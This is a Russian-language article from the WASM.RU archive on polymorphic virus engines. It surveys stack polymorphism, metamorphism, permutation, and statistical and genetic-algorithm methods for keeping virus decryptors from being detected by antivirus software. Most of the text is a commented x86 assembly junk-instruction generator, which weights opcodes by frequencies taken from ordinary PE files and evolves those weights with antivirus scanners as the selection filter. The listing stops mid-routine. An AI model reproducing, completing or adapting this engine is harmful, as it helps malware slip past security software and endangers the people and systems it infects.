Полиморфизм. Новые техники — Архив WASM.RU
Четыре.
Тяжёлые, как удар
"Кесарево кесарю - богу богово"
А такому,
как я
ткнуться куда?
Где для меня уготовано логово?
В.Маяковский
Полиморфизм всегда пользовался огромной популярностью у программистов. Но шло время и полиморфизм стал не столь популярен. Многие стали считать, что это вчерашний день. Я с ними соглашусь пожалуй, но как говорится: "Не все йогурты одинаково полезны". Классический полиморфизм в том виде, каком он был раньше, дальше использоваться не может. Сейчас мы рассмотрим последние техники полиморфизма и перспективы их применения.
1. Стэковый полиморфизм
Первым написал простейший стэковый движок Rajaat, данный движок был очень простым и маленьким. Далее насколько я помню, была парочка вариаций на данную тему. И закончилось всё когда объединились Z0MBiE и Vecna. Их творение получило модное громогласное название - "Kewl Mutation Engine". Данный движок без ложной скромности, можно назвать шедевром стэкового полиморфизма.
Теперь мы рассмотрим, в чём же заключается суть стэкового полиморфизма. Весь код который мы хотим скрыть(зашифровать) разбивается на двойные слова.
И после этого формируется следующий код:
push Шифруемый Код push Шифруемый Код .... ............. push Шифруемый Код jmp espНо такой код легко раскалывается даже алгоритмическими методами, без кодоэмуляции. Что делается чтобы этого не происходило? Производится линейная мутация кода, как вы видите инструкции в этом коде влияют только на стэк.
И мы можем отмутировать инструкцию - "push Шифруемый Код", следующим образом:
mov eax,234 mov edx,Шифруемый Код-234 add edx,eax xchg edx,eax push eaxИ каждую инструкцию из этого блока мы то же можем сильно преобразовать. Этим мы заставим эмулировать, каждую инструкцию нашего кода. А как вы знаете, есть так называемая глубина эмуляции - это количество инструкций, на котором эмуляция прекращается.
Теперь давайте поговорим об актуальности стэкового полиморфизма и его перспективах. С выходом новых процессоров запрещено исполнение кода в стэке. И это используется как SP2 для Windows XP, так и будет использоваться в Longhorn. Так что актуальность данного вида полиморфизма стремится к нулю.
2. Метаморфизм
Я к данному виду полиморфизма отношу два типа мутаций:
- Когда весь код, вместе с движком разбивается на блоки и затем производится перестановка данных блоков и их связь.
- Когда весь код вируса представлен в виде псевдо кода и хранится в зашифрованном виде. И на базе этого псевдо кода, генерируется каждый раз новый код.
Данные техники является достаточно сложными и не очень приятными. По следующим причинам:
- И в первом, и втором случаях достаточно сложно написать универсальный движок. По этой причине каждый раз эту технику необхоимо реализовывать заново.
- В первом случае получается ограниченное количество мутаций.
- Во втором случае возможно детектирование по зашифрованной части кода.
3. Пермутация
Пермутация это преобразование уже готового кода. В этом направлении на данный момент наиболее продвинулся Z0MBiE. Но ещё в его старых движках, встречались благодарности некому Lord_ASD. Далее после него, в этой области продвинулись Vecna и SBVC. В чём же заключается пермутация? Базовым алгоритмом пермутирующих движков является дизассемблирование кода с последующей его мутацией и ассемблированием.
Теперь рассмотрим пример алгоритма простейшего пермутирующего движка:
- Дизассемблируется по длинам все инструкции нашего кода и отмечатся условные и безусловные переходы.
- Инструкции заменяются синонимичными и между ними вставляются мусорные инструкции.
Например:
;----[Были инструкции]----------------; ... ............ mov eax,12345678 push eax .... ............Далее эти инструкции преобразовались к виду:
;----[Стали инструкции]---------------; ... ............ xor eax,eax nop add eax,12345678 nop push eax .... .............- Пересчитываются все переходы.
Данный вид полиморфизма является одним из самых перспективных. По следующим причинам:
- Удобство (не лёгкость) написания движка
- Высокий уровень мутаций
- Необходимость эмуляции всех инструкций
Не смотря на то, что данный вид полиморфизма известен уже достаточно давно, он не получил большого распространения, из-за сложности реализации.
4. Статистические методы и Генетические алгоритмы
В данной части рассмотрим наиболее оптимальные модификации классических полиморфных движков.
1) Статистические методы
Вы некогда не задумывались почему, ваши полиморфные движки так быстро детектируются? Вроде и инструкции использовали те же, что и обычные программы, и все виды переходов и подпрограмм. А всё равно детектируются!
Да, инструкции были использованы те же, но в том ли количестве? Антивирусы так же смотрят на статистику встречи опкодов. Вы уже наверное догадались о чём пойдёт речь дальше?
Для того, чтобы определить с какой вероятностью генерировать, ту или иную инструкцию. Мы должны собрать статистические данные по обыкновенным программам. Для этого мы можем либо написать сами программу, либо воспользоваться программой от Z0MBiE. После того, как мы проанализировали на количество различных опкодов, множество программ. Мы должны рассчитать мат. ожидания (средние) встречи различных опкодов. И на основе их, мы построим таблицу вероятностей встречи тех или иных опкодов в обыкновенных программах.
После этого ваши декрипторы будут практически идентичны обыкновенным программам по статиситике опкодов.
2) Генетические алгоритмы
Теория Дарвина утверждает, что все организмы изменяются и совершенствуются в процессе эволюции. Более приспособленные особи к своей среде обитания имеют больше возможностей выжить и принести потомство. Благодаря наследственности (генетической информации) родители передают потомкам, наиболее необходимую для выживания в данной среде информацию. Из-за этого механизма весь вид будет изменяться и в конце концов, его выживаемость значительно увеличиться.
Генетический алгоритм - это реализация эволюционной теории в виде программы. ГА работают с популяцией особей и и расставляя им вероятности по характеристикам её "выживаемости" или "приспособленности". Наиболее приспособленные особи - это те особи которые достаточно "хорошо" решают поставленную задачу. Данные особи скрещиваются друг с другом. Поэтому все хорошие характеристики остаются в популяции, а плохие уходят вместе с их не "приспособленными" носителями.
Генетические Алгоритмы чаще всего используют две функции:
- Кроссовер - это скрещивание наиболее выживаемых особей.
- Мутация - это изменение случайных характеристик особи.
Теперь перейдём к реализации эволюционных алгоритмов в полиморфных движках. Мы будем применять ГА к нашему полиморфному движку с статистическими вероятностями.
Алгоритм генератора мусора с статистическими вероятностями и ГА:
- Генерируется код по статистическим вероятностям
- Выбираются случайно и мутируют два стат. признака (1 раз в 10 поколений). Это наша реализация мутации.
- Выбираются два определяющих стат. признака и изменяются каждое поколение. Это наш кроссовер.
В качестве отсеивающего признака эволюции будут выступать антивирусные программы.
Если особь активна, считается что она прошла отбор. И она продолжает свой подъём или спуск по лестнице эволюции.
В качестве примера реализации данной техники приводится:
;----[Резать здесь]--------------------------------------------------------; ; ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ V.0.4(x) 2004 СЛОН http://slon.wronger.com ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; Использование: mov edi,БУФЕР ДЛЯ КОДА ; ; mov ecx,ДЛИНА КОДА ; ; mov ebx,НЕ ИСПОЛЬЗУЕМЫЕ РЕГИСТРЫ(_all) ; ; call garbage ; ;--------------------------------------------------------------------------; ; Результат: сгенерированный код в edi ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ВЕРСИЯ 0.3 Генерация инструкций по заданным статистическим ; ; характерстикиам(они получены в результате анализа ; ; большого количества файлов формата "PE") ; ;--------------------------------------------------------------------------; ; ВЕРСИЯ 0.2 Добавлены новые инструкции x86, так же добавлены ; ; инструкции сопроцессора (x87) ; ;--------------------------------------------------------------------------; ; ВЕРСИЯ 0.1 Реализация многих инструкций x86 процессора, ; ; случайная комбинация инструкций ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ;----[Главная подпрограмма генератора мусора]------------------------------; garbage: ; Подпрограмма генерации ; мусорных инструкций push edx ; Сохраняем в стэке push ecx ; edx, ecx, esi, ebp, ecx, push esi ; eax push ebp ; push ebx ; push eax ; call delta_offset ; delta_offset: pop ebp ; Получаем дельта смещение sub ebp,offset delta_offset ; call r_init ; Инициалицируем ГСЧ __st__: test ecx,ecx ; Если все инструкции jz landing ; сгенерированы, то на выход mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 call __freq__ ; Выбираем блок инструкций ; по статистической ; вероятности test eax,eax ; Если не выбрали, то jz __st__ ; пытаемся снова lea esi,[ebp+mega_table] ; В esi смещение на таблицу ; относительных смещений add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем ; относительное смещение от ; метки __st__ lea esi,[ebp+__st__] ; В esi кладём смещение ; метки __st__ add eax,esi ; Добавляем смещение ; подпрограммы call eax ; Вызываем её jmp __st__ ; Переход на __st__ ;----[Завершение работы генератора мусора]---------------------------------; landing: inc [ebp+__generation] ; Увеличиваем счётчик ; поколений cmp [ebp+__generation],10 ; Если это не 10 поколение, jne __ne__ ; то идём на выход mov [ebp+__generation],0 ; Сбрасываем счётчик ; поколений call gen_mutation ; Вызываем изменение 1 случ. ; мат. ожидания mov [ebp+__cross1],ecx ; Выбираем 1 опр. фактор ; эволюции call gen_mutation ; Вызываем изменение 2 случ. ; мат. ожидания mov [ebp+__cross2],ecx ; Выбираем 2 опр. фактор ; эволюции __ne__: mov ecx,[ebp+__cross1] ; Производим селекцию 1 опр. call gen_crossover ; фактора эволюции mov ecx,[ebp+__cross1] ; Производим селекцию 2 опр. call gen_crossover ; фактора эволюции pop eax ; pop ebx ; pop ebp ; pop esi ; Восстанавливаем регистры pop ecx ; pop edx ; ret ; Возврат из подпрограммы ;----[Подпрограмма выбора стат. вероятностей]------------------------------; __freq__: push eax ; Сохраняем eax в стэке lea esi,[ebp+__freq_table] ; Загружаем указатель на add esi,eax ; таблицу с мат. ожиданиями lodsw ; Загружаем в ax мат. ; ожидание mov edx,eax ; Переносим её в edx mov eax,1001 ; Генеририуем случайное call brandom32 ; число в интервале 0..1000 cmp edx,eax ; Проверяем попали ли мы? jge __exit__ ; Если попали, то на выход mov 4 ptr [esp],0 ; Нет обнулим верхушку ; стэка __exit__: pop eax ; Восстанавливаем eax из ; стэка ret ; Возврат из подпрограммы ;----[Подпрограмма изменения мат. ожидания]--------------------------------; gen_mutation: mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем мат. ; ожидание call brandom32 ; Генерируем СЧ в диапазоне sub esi,2 ; 0..мат.ожидание-1 и ; уменьшаем esi на 2 sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания ; Наше случаное число push eax ; Сохраняем в стэке СЧ mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 mov ecx,eax ; lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax pop eax ; Восстанавливаем из стэка ; СЧ add 2 ptr [esi],ax ; И добавляем его к другому ; Мат. ожиданию ret ; Возврат из подпрограммы ;----[Подпрограмма селекции опр. фактора эволюции]-------------------------; gen_crossover: mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем мат. ; ожидание call brandom32 ; Генерируем СЧ в диапазоне sub esi,2 ; 0..мат.ожидание-1 и ; уменьшаем esi на 2 sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания ; Наше случаное число push eax ; Сохраняем в стэке СЧ lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,ecx ; к esi добавляем eax pop eax ; Восстанавливаем из стэка ; СЧ add 2 ptr [esi],ax ; И добавляем его к другому ; Мат. ожиданию ret ; Возврат из подпрограммы ;----[Генерация инструкций JXX SHORT - 0x70..0x7f]-------------------------; __jxx_short: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем eax в стэке add eax,2 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше ли ; длины ; Всех инструкций pop eax ; Восстанавливаем из стэка ; eax jle __gen1__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen1__: ; push eax ; Кладём eax опять в стэк mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 add al,70h ; Добавляем 70h stosb ; и кладём его в буфер pop eax ; Вынимаем из стэка eax и stosb ; кладём в буфер mov edx,eax ; Кладём число в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранный, ; условный переход: ; ......................... ; jae next ; mov eax,0 ; next: nop ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 sub ecx,edx ; И на длину перехода ret ; Возврат из подпрограммы ;----[Генерация инструкций NOT/NEG - 0xf7]---------------------------------; __not_r32: cmp cl,2 ; Если длина генерируемой jge __g1__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g1__: mov al,0f7h ; Помещаем в al - 0f7h stosb ; и кладём его в буфер mov dl,0d0h ; Помещаем в dl - 0d0h mov eax,2 ; Генерируем случайное число call brandom32 ; в диапазоне 0..1 shl eax,3 ; Умножаем его на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция NOT/NEG: ; ......................... ; not eax ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций JXX NEAR - 0x0f 0x80..0x0f 0x89]----------------; __jxx_near: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,6 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше длины ; Всех инструкций pop eax ; Восстанавливаем eax из ; стэка jle __gen2__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen2__: ; push eax ; Сохраняем в стэке eax mov al,0fh ; Помещаем в al - 0fh stosb ; и кладём его в буфер mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 ; add al,80h ; Добавляем 80h stosb ; и кладём его в буфер pop eax ; Вынимаем из стэка eax stosd ; Помещаем его в буфер mov edx,eax ; Кладём в edx - eax push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранный, ; условный, переход: ; ......................... ; je next ; push 0 ; next: push 64 ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 sub ecx,edx ; И на длину инструкций ; ret ; Возврат из подпрограммы ;----[Генерация инструкций сопроцессора - 0xdc]----------------------------; __x87: cmp cl,2 ; Если длина генерируемой jge __g2__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g2__: mov al,0dch ; Кладём в al - 0dch stosb ; И помещаем al в буфер mov eax,02fh ; Генерируем случайное число call brandom32 ; в интервале 0..2eh add al,0c0h ; Добавляем к числу 0c0h stosb ; и помещаем сумму в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция сопроцессора: ; ......................... ; fadd st(0),st ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций сравнения - 0x3a]-------------------------------; __cmp_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g3__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g3__: mov dl,3ah ; Помещаем в dl - 03ah mov eax,3 ; Получаем случайное число call brandom32 ; в диапазоне 0..2 add al,dl ; Добавляем к al - dl stosb ; Затем помещаем al в буфер call rnd_reg ; Получаем случайный регистр shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция CMP: ; ......................... ; cmp eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций XOR - 0x33]-------------------------------------; __xor_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g4__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g4__: mov al,33h ; Помещаем в al - 33h stosb ; И затем кладём это в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция XOR: ; ......................... ; xor eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций TEST - 0x84]------------------------------------; __test_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g5__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g5__: mov dl,084h ; Помещаем в dl - 084h mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне 0..1 add al,dl ; Добавляем к al - dl stosb ; И затем кладём это в буфер call rnd_reg ; Вызываем подпрограмму ; получения случайного ; регистра add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция TEST: ; ......................... ; test eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV, XCHG - 0x87,0x89,0x8b]---------------------; __mov_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g6__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g6__: mov eax,3 ; Генерируем СЧ в call brandom32 ; диапазоне 0..2 test eax,eax ; Проверяем, как опкод мы jnz __ng1__ ; будем генерировать ; Если не 0, то 0x8b mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 test eax,eax ; Проверяем какой опкод мы jnz __ng2__ ; будем генерировать ; Если не 0, то 0x89 mov al,87h ; Будем генерировать 0x87 jmp __ag1__ ; Идём дальше __ng2__: mov al,89h ; Будем генерировать 0x89 jmp __ag1__ ; Идём дальше __ng1__: mov al,8bh ; Помещаем в al - 8bh __ag1__: stosb ; Потом помещаем al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call free_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция MOV, XCHG: ; ......................... ; mov eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций PUSH/POP - 0x50..0x57;0x58..0x5f]---------------; __push_r32: mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 mov edx,eax ; Кладём его в edx add al,2 ; Доавляем к al - 2 cmp eax,ecx ; Если длина генерируемой jle __g7__ ; инструкции меньше 2 ; и длины мусора ,то ret ; Возврат из подпрограммы __g7__: call free_reg ; Получаем случайный регистр add al,50h ; Добавляем к al - 50h stosb ; Кладём al в буфер push ecx ; Сораняем ecx в стэке mov ecx,edx ; Генерируем серию call garbage ; мусорных инструкций pop ecx ; Вынимаем ecx из стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; mov eax,2 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,2 ; Уменьшаем счётчик на - 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV - 0x0b8]------------------------------------; __mov_r32_imm32: cmp cl,5 ; Если длина генерируемой jge __g8__ ; инструкции меньше 5, то ret ; Возврат из подпрограммы __g8__: ; call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,0b8h ; Добавляем к al - 0b8h stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное stosd ; число ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ......................... ; mov eax,12345678 ; ......................... sub ecx,5 ; Уменьшаем счётчик на 5 ret ; Возврат из подпрограммы ;----[Генерация инструкций JMP SHORT - 0xeb]-------------------------------; __jmp_short: cmp cl,2 ; Если длина генерируемой jg __g9__ ; инструкции меньше 2, то ret ; Воврат из подпрограммы __g9__: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,2 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше длины pop eax ; Восстанавливаем из стэка jle __gen3__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen3__: ; push eax ; Сохраняем в стэке eax mov al,0ebh ; Кладём в al - 0ebh stosb ; И кладём al в буфер pop eax ; Восстанавливаем из стэка stosb ; Помещаем его в буфер mov edx,eax ; Кладём в edx - eax push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранная ; инструкции JMP SHORT: ; ......................... ; jmp next ; mov ax,22 ; next: nop ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 sub ecx,edx ; И на длину инструкций ; ret ; Возврат из подпрограммы ;----[Генерация инструкций ADD - 0x81]-------------------------------------; __add_r32_imm32: cmp cl,6 ; Если длина генерируемой jge g10__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы g10__: mov al,81h ; Кладём в al - 81h stosb ; И помещаем al в буфер mov eax,4 ; Получаем случайное число call brandom32 ; в диапазоне от 0..9 add al,0ch ; Добавляем к нему - 0ch shl al,4 ; Умножаем al на 16 mov dl,al ; Кладём в dl - al mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне от 0..1 shl al,3 ; Умножаем al на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное stosd ; число и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции ADD: ; ......................... ; add eax,12345678 ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация инструкций LEA - 0x8d]-------------------------------------; __lea_r32_imm32: cmp cl,6 ; Если длина генерируемой jge __g11__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g11__: mov al,8dh ; Кладём в al - 8dh stosb ; И помещаем al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на - 8 add al,5 ; Добавляем к al - 5 stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное число stosd ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции LEA: ; ......................... ; lea eax,[12345678] ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация инструкций CALL NEAR - 0xe8]-------------------------------; __call_near: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 mov edx,eax ; И кладём его в edx mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,11 ; Добавляем длину перехода add eax,edx ; Добавляем к eax - edx cmp eax,ecx ; Проверяем не больше длины pop eax ; Восстанавливаем из стэка jle __gen4__ ; Если число превышает ; длину, то ret ; Возврат из подпрограммы __gen4__: push edx ; Сохраняем в стэке edx push eax ; Сохраняем в стэке eax mov al,0e8h ; Кладём в al - 0e8h stosb ; И помещаем al в буфер mov eax,[esp] ; Восстанавливаем eax inc eax ; Увеличиваем eax на - 1 stosd ; Кладём eax в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ и stosb ; Кладём его в буфер pop edx ; Вынимаем из стэка в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx mov al,55h ; stosb ; Кладём в буфер 055h mov ax,0ec8bh ; stosw ; Кладём в буфер 0ec8bh push edx ; Кладём edx в стэк mov edx,[esp+4] ; Вынимаем из стэка в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx mov al,5dh ; Кладём в буфер 05dh stosb ; call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58 stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция CALL NEAR: ; ......................... ; mov eax,12345678h ; call next ; add edx,34567h ; next: ; push ebp ; mov ebp,esp ; xor eax,edx ; pop ebp ; pop edx ; .......................... sub ecx,11 ; Уменьшаем счётчик на 11 pop edx ; Вынимаем из стэка в edx sub ecx,edx ; Уменьшаем на длину ; инструкций pop edx ; Вынимаем из стэка в edx sub ecx,edx ; Уменьшаем на длину ; инструкций ret ; Возврат из подпрограммы ;----[Генерация инструкций SHL - 0xc1]-------------------------------------; __shl_r32_imm8: cmp cl,3 ; Если длина генерируемой jge __g12__ ; инструкции меньше 3, то ret ; Возврат из подпрограммы __g12__: mov al,0c1h ; Кладём в al - 0c1h stosb ; И помещаем al в буфер mov eax,6 ; Генерируем случайное число call brandom32 ; в диапазоне 0..5 shl eax,3 ; Умножаем его на 8 add al,0c0h ; Добавляем к нему - 0c0h mov dl,al ; Помещаем в dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер mov eax,256 ; Генерируем случайное число call brandom32 ; в диапазоне 0..255 stosb ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции SHL,ROL, ...: ; ......................... ; shl ebp,04 ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация иструкций XADD - 0x0f 0x0a3 ...]---------------------------; __xadd_r32_r32: cmp cl,3 ; Если длина генерируемой jge __g13__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g13__: mov al,0fh ; Кладём в al - 0fh stosb ; И помещаем al в буфер lea esi,[ebp+__3_byte_opcode]; Кладём в esi указатель на ; таблицу частей 3-х байтных ; инструкций mov eax,14 ; Генерируем случайное число call brandom32 ; в диапазоне 0..13 add esi,eax ; Прибавляем к esi - eax movsb ; Перемещаем байт в буфер mov dl,0c0h ; Кладём в dl - 0с0h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции XADD,IMUL, ...: ; ......................... ; xadd eax,eax ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV - 0x66 0xb8..0xbf]--------------------------; __mov_r16_imm16: cmp cl,4 ; Если длина генерируемой jge __g14__ ; инструкции меньше 4, то ret ; Возврат из подпрограммы __g14__: mov al,066h ; Кладём в al - 066h stosb ; И помещаем al в буфер mov dl,0b8h ; Помещаем в dl - 0b8h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosw ; И помещаем его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ......................... ; mov ax,3452 ; ......................... sub ecx,4 ; Уменьшаем счётчик на 4 ret ; Возврат из подпрограммы ;----[Генерация инструкций CMOVA - 0x0f 0x40..0x4f]------------------------; __cmova_r32_r32: cmp cl,3 ; Если длина генерируемой jge __g15__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g15__: mov al,0fh ; Кладём в al - 0fh stosb ; И помещаем al в буфер mov eax,15 ; Генерируем случайное число call brandom32 ; в диапазоне 0..14 add al,40h ; Добавляем к al - 40h stosb ; И помещаем al в буфер call free_reg ; Берём случайный регистр shl eax,3 ; Умножаем его на 8 add al,0c0h ; Добавляем к нему - 0c0h mov dl,al ; Помещаем в dl - al call rnd_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции CMOVA: ; ......................... ; cmova eax,edx ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация инструкций PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-; __push_r32_2: mov eax,10 ; Генерируем СЧ call brandom32 ; в диапазоне 0..9 mov edx,eax ; Кладём в edx - eax add al,3 ; Добавляем к al - 3 cmp eax,ecx ; Если длина генерируемых jle __g16__ ; инструкций меньше ,то ret ; Возврат из подпрограммы __g16__: mov eax,4 ; Генерируем СЧ call brandom32 ; в диапазоне 0..3 test eax,eax ; Если оно не равно 0, то jnz __ng3__ ; Переходим на метку __ng3__ mov al,6ah ; Кладём в al - 06ah stosb ; Помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosb ; Кладём в буфер jmp __gen5__ ; Идём на генерацию мусора __ng3__: 